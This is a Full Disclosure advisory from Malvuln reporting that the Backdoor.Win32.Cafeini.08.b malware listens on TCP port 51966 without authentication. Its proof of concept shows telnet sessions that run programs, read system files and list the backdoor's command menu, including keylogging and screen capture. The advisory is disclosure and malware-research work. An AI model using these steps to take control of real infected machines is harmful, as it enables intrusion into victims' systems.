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Date: Fri, 12 Feb 2021 23:20:48 -0500
From: malvuln <malvuln13@...il.com>
To: fulldisclosure@...lists.org
Subject: [FD] Backdoor.Win32.Cafeini.08.b / Missing Authentication

Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source:
https://malvuln.com/advisory/8225bb6b430d5cdf523c4d0cabbe5793.txt
Contact: malvuln13@...il.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.Cafeini.08.b
Vulnerability: Missing Authentication
Description: The backdoor is written in Polish and listens on TCP port
51966, anyone who can reach the infected system can telnet in and
execute any commands leading to malware compromise.
Type: PE32
MD5: 8225bb6b430d5cdf523c4d0cabbe5793
Vuln ID: MVID-2021-0086
Dropped files:
Disclosure: 02/12/2021


Exploit/PoC:
1) Try execute calc.exe we get error in Polish.

C:\Windows>EEXXEECC  ccaalclc
STATUS: nie moge uruchomic programu

Translated from polish "I cannot run the program"

But given the full path it works.

C:\Windows>EEXXEECC
cc::\\WWiindnodwowss\\syssytsetemm3322\\ccaallcc.e.exxee
STATUS: program uruchomiony

Translated "program running"

2) Read files.

C:\Users\victim\Desktop>ttyyppee
\\WWiinndodwowss\\syssytsetemm..iinini
; for 16-bit app support
[386Enh]
woafont=dosapp.fon
EGA80WOA.FON=EGA80WOA.FON
EGA40WOA.FON=EGA40WOA.FON
CGA80WOA.FON=CGA80WOA.FON
CGA40WOA.FON=CGA40WOA.FON
[drivers]
wave=mmdrv.dll
timer=timer.drv

3) See help menu.

C:\>hehlelpp
BYE lub LOGOUT lub QUIT lub EXIT - wyjscie
DIE - zabij serwer (usun z pamieci)
HELPCONF- opis komend sluzacych konfiguracji serwera:
AUTOFTPD,AUTOKILL,
AUTOMAIL,EMAIL,FTPD,NAME,PASSWD,PORT,PROXY,SMPT.
HELPDOS - opis komend w rodzaju MS-DOS/Linux:
CAT,CD,CHDIR,CMD,CMDV,COPY,
DATE,DEL,DIR,DRIVES,ECHO,ENV,ERASE,INFO,KILL,LS,MAIL,MEMORY,MKDIR,
MOVE,PS,RENAME,RMDIR,SET,SYSINFO,TELNET,TIME,TYPE,VER.
HELPFUN - opis komend sluzacych zabawie:
ANNOY,ANNOYCD,ANNOYMONITOR,CLOSECD,
ERRORMSG,EXEC,EXECU,FILLDISK,FILLMEM,FREEZE,GETALLMEM,LOGOFF,MESSAGE,
MONITOR,OPEN,OPENCD,OPENMAIL,OPENWWW,QUESTION,READCLIP,SAVER,
SCREENSAVER,SHUTDOWN,STOPALL,TASKMANAGER,VOLUME,WRITECLIP.
HELPKEY - opis komend sterujacych klawiatura:
KEYBOARDBEEP,LOGGEDCLEAR,
LOGGEDKEYS,SENDKEYS,SENDLINE
HELPMOUSE-opis komend sterujacych myszka i dzwiekiem: AUTOBEEP,BEEP,
AUTOSPEAKERBEEP,CURSORFREEZE,CURSORLINE,CURSORPOS,CURSORQUAKE,
CLIPLU,CLIPRD,CLIPRESET,CURSORUNFREEZE,MOUSESWAP,STOP,STOPALL.
HELPSCR - opis komend sluzacych zabawie z ekranem (desktop):
BLACKWHITE,
DUMPSCREEN,DUMPSMALLSCREEN,FLYINGBALLS,MATRIX,RESOLUTION,
SETWALLPAPER,UNRESOLUTION and SCREEN: BLUR,COLOR,DARKER,INVERT,
MOVEX,MOVEY,NORMAL,ROLLX,ROLLY,STOP,XREVERSE,YREVERSE,ZOOM.
HELPWIN - opis komend do operacji na oknach (wszystkie zaczynaja sie
od WIN):
AUTOMESS,FOCUS,HIDE,HIDEALL,HIDESTART,HIDETASKBAR,INVERT,KILL,LIST,
KILLMICROSOFT,LISTALL,MAXIMIZE,MESS,MINIMIZE,NAME,PINGPONG,POS,QUAKE,
RESIZE,SHOW,SHOWALL,SHOWSTART,SHOWTASKBAR,SHRINK,STOP,TOP,UNTOP.


Disclaimer: The information contained within this advisory is supplied
"as-is" with no warranties or guarantees of fitness of use or
otherwise. Permission is hereby granted for the redistribution of this
advisory, provided that it is not altered except by reformatting it,
and that due credit is given. Permission is explicitly given for
insertion in vulnerability databases and similar, provided that due
credit is given to the author. The author is not responsible for any
misuse of the information contained herein and accepts no
responsibility for any damage caused by the use or misuse of this
information. The author prohibits any malicious use of security
related information or exploits by the author or elsewhere. Do not
attempt to download Malware samples. The author of this website takes
no responsibility for any kind of damages occurring from improper
Malware handling or the downloading of ANY Malware mentioned on this
website or elsewhere. All content Copyright (c) Malvuln.com (TM).

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